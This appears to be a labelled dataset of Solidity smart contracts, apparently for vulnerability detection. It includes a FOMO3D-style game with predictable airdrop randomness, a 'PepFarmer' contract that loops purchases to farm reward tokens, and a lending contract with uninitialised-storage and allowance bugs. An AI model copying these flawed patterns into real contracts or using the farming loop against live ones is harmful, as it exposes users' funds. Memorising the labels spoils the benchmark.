if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Fast already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcFast {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 984 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Anyband is StandardToken {
string public constant name = "Anyband";
string public constant symbol = "ABC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 9900000000 * 1000000000000000000;
function Anyband() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 4,376 |
pragma solidity ^0.4.18;
interface CornFarm
{
function buyObject(address _beneficiary) public payable;
}
interface Corn
{
function transfer(address to, uint256 value) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PepFarmer {
using SafeMath for uint256;
bool private reentrancy_lock = false;
address public shop = 0x912D92502De8EC2B4057F7F3b39bB67B0418192b;
address public object = 0xaC21cCcDE31280257784f02f7201465754E96B0b;
mapping(address => uint256) public workDone;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
function pepFarm() nonReentrant external {
for (uint8 i = 0; i < 100; i++) {
CornFarm(shop).buyObject(this);
}
workDone[msg.sender] = workDone[msg.sender].add(uint256(100 ether));
}
function reapFarm() nonReentrant external {
require(workDone[msg.sender] > 0);
Corn(object).transfer(msg.sender, workDone[msg.sender]);
workDone[msg.sender] = 0;
}
} | 1 | 2,188 |
pragma solidity ^0.4.11;
contract Utils {
function Utils() {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IOwned {
function owner() public constant returns (address owner) { owner; }
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Managed {
address public manager;
address public newManager;
event ManagerUpdate(address _prevManager, address _newManager);
function Managed() {
manager = msg.sender;
}
modifier managerOnly {
assert(msg.sender == manager);
_;
}
function transferManagement(address _newManager) public managerOnly {
require(_newManager != manager);
newManager = _newManager;
}
function acceptManagement() public {
require(msg.sender == newManager);
ManagerUpdate(manager, newManager);
manager = newManager;
newManager = 0x0;
}
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract SmartTokenController is TokenHolder {
ISmartToken public token;
function SmartTokenController(ISmartToken _token)
validAddress(_token)
{
token = _token;
}
modifier active() {
assert(token.owner() == address(this));
_;
}
modifier inactive() {
assert(token.owner() != address(this));
_;
}
function transferTokenOwnership(address _newOwner) public ownerOnly {
token.transferOwnership(_newOwner);
}
function acceptTokenOwnership() public ownerOnly {
token.acceptOwnership();
}
function disableTokenTransfers(bool _disable) public ownerOnly {
token.disableTransfers(_disable);
}
function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly {
token.withdrawTokens(_token, _to, _amount);
}
}
contract IERC20Token {
function name() public constant returns (string name) { name; }
function symbol() public constant returns (string symbol) { symbol; }
function decimals() public constant returns (uint8 decimals) { decimals; }
function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount);
}
contract ISmartToken is ITokenHolder, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract ITokenChanger {
function changeableTokenCount() public constant returns (uint16 count);
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress);
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256 amount);
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 amount);
}
contract BancorChanger is ITokenChanger, SmartTokenController, Managed {
uint32 private constant MAX_CRR = 1000000;
uint32 private constant MAX_CHANGE_FEE = 1000000;
struct Reserve {
uint256 virtualBalance;
uint32 ratio;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
}
string public version = '0.2';
string public changerType = 'bancor';
IBancorFormula public formula;
IERC20Token[] public reserveTokens;
IERC20Token[] public quickBuyPath;
mapping (address => Reserve) public reserves;
uint32 private totalReserveRatio = 0;
uint32 public maxChangeFee = 0;
uint32 public changeFee = 0;
bool public changingEnabled = true;
event Change(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return,
uint256 _currentPriceN, uint256 _currentPriceD);
function BancorChanger(ISmartToken _token, IBancorFormula _formula, uint32 _maxChangeFee, IERC20Token _reserveToken, uint32 _reserveRatio)
SmartTokenController(_token)
validAddress(_formula)
validMaxChangeFee(_maxChangeFee)
{
formula = _formula;
maxChangeFee = _maxChangeFee;
if (address(_reserveToken) != 0x0)
addReserve(_reserveToken, _reserveRatio, false);
}
modifier validReserve(IERC20Token _address) {
require(reserves[_address].isSet);
_;
}
modifier validToken(IERC20Token _address) {
require(_address == token || reserves[_address].isSet);
_;
}
modifier validMaxChangeFee(uint32 _changeFee) {
require(_changeFee >= 0 && _changeFee <= MAX_CHANGE_FEE);
_;
}
modifier validChangeFee(uint32 _changeFee) {
require(_changeFee >= 0 && _changeFee <= maxChangeFee);
_;
}
modifier validReserveRatio(uint32 _ratio) {
require(_ratio > 0 && _ratio <= MAX_CRR);
_;
}
modifier validChangePath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
modifier changingAllowed {
assert(changingEnabled);
_;
}
function reserveTokenCount() public constant returns (uint16 count) {
return uint16(reserveTokens.length);
}
function changeableTokenCount() public constant returns (uint16 count) {
return reserveTokenCount() + 1;
}
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress) {
if (_tokenIndex == 0)
return token;
return reserveTokens[_tokenIndex - 1];
}
function setFormula(IBancorFormula _formula)
public
ownerOnly
validAddress(_formula)
notThis(_formula)
{
formula = _formula;
}
function setQuickBuyPath(IERC20Token[] _path)
public
ownerOnly
validChangePath(_path)
{
quickBuyPath = _path;
}
function clearQuickBuyPath() public ownerOnly {
quickBuyPath.length = 0;
}
function getQuickBuyPathLength() public constant returns (uint256 length) {
return quickBuyPath.length;
}
function hasQuickBuyEtherToken() public constant returns (bool) {
return quickBuyPath.length > 0;
}
function getQuickBuyEtherToken() public constant returns (IEtherToken etherToken) {
assert(quickBuyPath.length > 0);
return IEtherToken(quickBuyPath[0]);
}
function disableChanging(bool _disable) public managerOnly {
changingEnabled = !_disable;
}
function setChangeFee(uint32 _changeFee)
public
managerOnly
validChangeFee(_changeFee)
{
changeFee = _changeFee;
}
function getChangeFeeAmount(uint256 _amount) public constant returns (uint256 feeAmount) {
return safeMul(_amount, changeFee) / MAX_CHANGE_FEE;
}
function addReserve(IERC20Token _token, uint32 _ratio, bool _enableVirtualBalance)
public
ownerOnly
inactive
validAddress(_token)
notThis(_token)
validReserveRatio(_ratio)
{
require(_token != token && !reserves[_token].isSet && totalReserveRatio + _ratio <= MAX_CRR);
reserves[_token].virtualBalance = 0;
reserves[_token].ratio = _ratio;
reserves[_token].isVirtualBalanceEnabled = _enableVirtualBalance;
reserves[_token].isPurchaseEnabled = true;
reserves[_token].isSet = true;
reserveTokens.push(_token);
totalReserveRatio += _ratio;
}
function updateReserve(IERC20Token _reserveToken, uint32 _ratio, bool _enableVirtualBalance, uint256 _virtualBalance)
public
ownerOnly
validReserve(_reserveToken)
validReserveRatio(_ratio)
{
Reserve storage reserve = reserves[_reserveToken];
require(totalReserveRatio - reserve.ratio + _ratio <= MAX_CRR);
totalReserveRatio = totalReserveRatio - reserve.ratio + _ratio;
reserve.ratio = _ratio;
reserve.isVirtualBalanceEnabled = _enableVirtualBalance;
reserve.virtualBalance = _virtualBalance;
}
function disableReservePurchases(IERC20Token _reserveToken, bool _disable)
public
ownerOnly
validReserve(_reserveToken)
{
reserves[_reserveToken].isPurchaseEnabled = !_disable;
}
function getReserveBalance(IERC20Token _reserveToken)
public
constant
validReserve(_reserveToken)
returns (uint256 balance)
{
Reserve storage reserve = reserves[_reserveToken];
return reserve.isVirtualBalanceEnabled ? reserve.virtualBalance : _reserveToken.balanceOf(this);
}
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256 amount) {
require(_fromToken != _toToken);
if (_toToken == token)
return getPurchaseReturn(_fromToken, _amount);
else if (_fromToken == token)
return getSaleReturn(_toToken, _amount);
uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount);
return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount));
}
function getPurchaseReturn(IERC20Token _reserveToken, uint256 _depositAmount)
public
constant
active
validReserve(_reserveToken)
returns (uint256 amount)
{
Reserve storage reserve = reserves[_reserveToken];
require(reserve.isPurchaseEnabled);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
amount = formula.calculatePurchaseReturn(tokenSupply, reserveBalance, reserve.ratio, _depositAmount);
uint256 feeAmount = getChangeFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount) public constant returns (uint256 amount) {
return getSaleReturn(_reserveToken, _sellAmount, token.totalSupply());
}
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 amount) {
require(_fromToken != _toToken);
if (_toToken == token)
return buy(_fromToken, _amount, _minReturn);
else if (_fromToken == token)
return sell(_toToken, _amount, _minReturn);
uint256 purchaseAmount = buy(_fromToken, _amount, 1);
return sell(_toToken, purchaseAmount, _minReturn);
}
function buy(IERC20Token _reserveToken, uint256 _depositAmount, uint256 _minReturn)
public
changingAllowed
greaterThanZero(_minReturn)
returns (uint256 amount)
{
amount = getPurchaseReturn(_reserveToken, _depositAmount);
assert(amount != 0 && amount >= _minReturn);
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeAdd(reserve.virtualBalance, _depositAmount);
assert(_reserveToken.transferFrom(msg.sender, this, _depositAmount));
token.issue(msg.sender, amount);
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Change(_reserveToken, token, msg.sender, _depositAmount, amount, reserveAmount, tokenAmount);
return amount;
}
function sell(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _minReturn)
public
changingAllowed
greaterThanZero(_minReturn)
returns (uint256 amount)
{
require(_sellAmount <= token.balanceOf(msg.sender));
amount = getSaleReturn(_reserveToken, _sellAmount);
assert(amount != 0 && amount >= _minReturn);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
assert(amount < reserveBalance || (amount == reserveBalance && _sellAmount == tokenSupply));
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeSub(reserve.virtualBalance, amount);
token.destroy(msg.sender, _sellAmount);
assert(_reserveToken.transfer(msg.sender, amount));
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Change(token, _reserveToken, msg.sender, _sellAmount, amount, tokenAmount, reserveAmount);
return amount;
}
function quickChange(IERC20Token[] _path, uint256 _amount, uint256 _minReturn)
public
validChangePath(_path)
returns (uint256 amount)
{
IERC20Token fromToken = _path[0];
claimTokens(fromToken, msg.sender, _amount);
ISmartToken smartToken;
IERC20Token toToken;
BancorChanger changer;
uint256 pathLength = _path.length;
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
changer = BancorChanger(smartToken.owner());
if (smartToken != fromToken)
ensureAllowance(fromToken, changer, _amount);
_amount = changer.change(fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
fromToken = toToken;
}
if (changer.hasQuickBuyEtherToken() && changer.getQuickBuyEtherToken() == toToken) {
IEtherToken etherToken = IEtherToken(toToken);
etherToken.withdrawTo(msg.sender, _amount);
}
else {
assert(toToken.transfer(msg.sender, _amount));
}
return _amount;
}
function quickBuy(uint256 _minReturn) public payable returns (uint256 amount) {
assert(quickBuyPath.length > 0);
IEtherToken etherToken = IEtherToken(quickBuyPath[0]);
etherToken.deposit.value(msg.value)();
ISmartToken smartToken = ISmartToken(quickBuyPath[1]);
BancorChanger changer = BancorChanger(smartToken.owner());
ensureAllowance(etherToken, changer, msg.value);
uint256 returnAmount = changer.quickChange(quickBuyPath, msg.value, _minReturn);
assert(token.transfer(msg.sender, returnAmount));
return returnAmount;
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _totalSupply)
private
constant
active
validReserve(_reserveToken)
greaterThanZero(_totalSupply)
returns (uint256 amount)
{
Reserve storage reserve = reserves[_reserveToken];
uint256 reserveBalance = getReserveBalance(_reserveToken);
amount = formula.calculateSaleReturn(_totalSupply, reserveBalance, reserve.ratio, _sellAmount);
uint256 feeAmount = getChangeFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {
if (_token.allowance(this, _spender) >= _value)
return;
if (_token.allowance(this, _spender) != 0)
assert(_token.approve(_spender, 0));
assert(_token.approve(_spender, _value));
}
function claimTokens(IERC20Token _token, address _from, uint256 _amount) private {
if (_token == token) {
token.destroy(_from, _amount);
token.issue(this, _amount);
return;
}
assert(_token.transferFrom(_from, this, _amount));
}
function() payable {
quickBuy(1);
}
}
contract BancorLender {
struct BorrowAgreement {
address lender;
address borrower;
uint256 tokenAmount;
uint256 collateralAmount;
uint32 collateralRatio;
uint expiration;
}
IERC20Token constant public bancorToken =
IERC20Token(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C);
BancorChanger constant public bancorChanger =
BancorChanger(0xb72A0Fa1E537c956DFca72711c468EfD81270468);
BorrowAgreement[] public agreements;
function isCollateralWithinMargin(
uint256 tokenAmount, uint256 collateralAmount, uint32 collateralRatio)
returns(bool) {
IERC20Token etherToken = bancorChanger.getQuickBuyEtherToken();
uint256 collateralInTokens =
bancorChanger.getPurchaseReturn(etherToken, collateralAmount);
uint256 minCollateral = tokenAmount * (100 + collateralRatio) / 100;
return (collateralInTokens > minCollateral);
}
function offerToLend(
uint256 _amount, uint256 _collataral_ratio, uint _expiration) {
assert(bancorToken.transferFrom(msg.sender, this, _amount));
BorrowAgreement agreement;
agreement.lender = msg.sender;
agreement.borrower = 0;
agreement.tokenAmount = _amount;
agreement.expiration = _expiration;
agreements.push(agreement);
}
function takeOffer(uint _offerNumber) payable {
assert(isCollateralWithinMargin(
agreements[_offerNumber].tokenAmount, msg.value,
agreements[_offerNumber].collateralRatio));
assert(bancorToken.transferFrom(
this, msg.sender, agreements[_offerNumber].tokenAmount));
agreements[_offerNumber].borrower = msg.sender;
agreements[_offerNumber].collateralAmount = msg.value;
}
function addCollateral(uint _offerNumber) payable {
agreements[_offerNumber].collateralAmount += msg.value;
}
function returnLoan(uint _agreementNumber) {
assert(msg.sender == agreements[_agreementNumber].borrower);
assert(bancorToken.transferFrom(
msg.sender, agreements[_agreementNumber].lender,
agreements[_agreementNumber].tokenAmount));
agreements[_agreementNumber].tokenAmount = 0;
}
function forceClose(uint _agreementNumber) {
assert(agreements[_agreementNumber].tokenAmount > 0);
bool marginCall = !isCollateralWithinMargin(
agreements[_agreementNumber].tokenAmount,
agreements[_agreementNumber].collateralAmount,
agreements[_agreementNumber].collateralRatio);
if (marginCall || now > agreements[_agreementNumber].expiration) {
uint256 salvagedAmount =
bancorChanger.quickBuy(agreements[_agreementNumber].collateralAmount);
if (salvagedAmount >= agreements[_agreementNumber].tokenAmount) {
assert(bancorToken.transfer(
agreements[_agreementNumber].lender,
agreements[_agreementNumber].tokenAmount));
assert(bancorToken.transfer(
agreements[_agreementNumber].borrower,
salvagedAmount - agreements[_agreementNumber].tokenAmount));
} else {
assert(bancorToken.transfer(
agreements[_agreementNumber].lender, salvagedAmount));
}
}
}
} | 1 | 4,033 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
